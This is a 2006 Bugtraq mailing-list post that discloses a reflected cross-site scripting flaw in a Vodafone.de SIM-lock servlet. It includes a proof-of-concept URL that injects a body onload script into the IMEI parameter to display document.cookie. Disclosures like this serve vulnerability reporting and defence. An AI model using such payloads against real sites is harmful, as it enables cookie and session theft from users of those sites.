[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Vodafone.de XSS Vulnerability

To: bugtraq@xxxxxxxxxxxxxxxxx
Subject: Vodafone.de XSS Vulnerability
From: try_og@xxxxxxxxxxx
Date: 21 May 2006 16:20:27 -0000

There's a little vulnerability in the post section of:
http://www.vodafone.de/business/support_download/77278.html

Sending a malicious code will result a code working on the page that pops up...

https://www.vodafone.de/simlock/servlets/sim?IMEI=[XSS CODE HERE]

example:
https://www.vodafone.de/simlock/servlets/sim?IMEI=<body%20onload="alert(document.cookie);">

Prev by Date: Default Screen Saver Vulnerability in Microsoft Windows
Next by Date: NETGEAR WGR614 v6 Wireless DSL router information disclosure vulnerability
Previous by thread: Re: Default Screen Saver Vulnerability in Microsoft Windows
Next by thread: NETGEAR WGR614 v6 Wireless DSL router information disclosure vulnerability
Index(es):
- Date
- Thread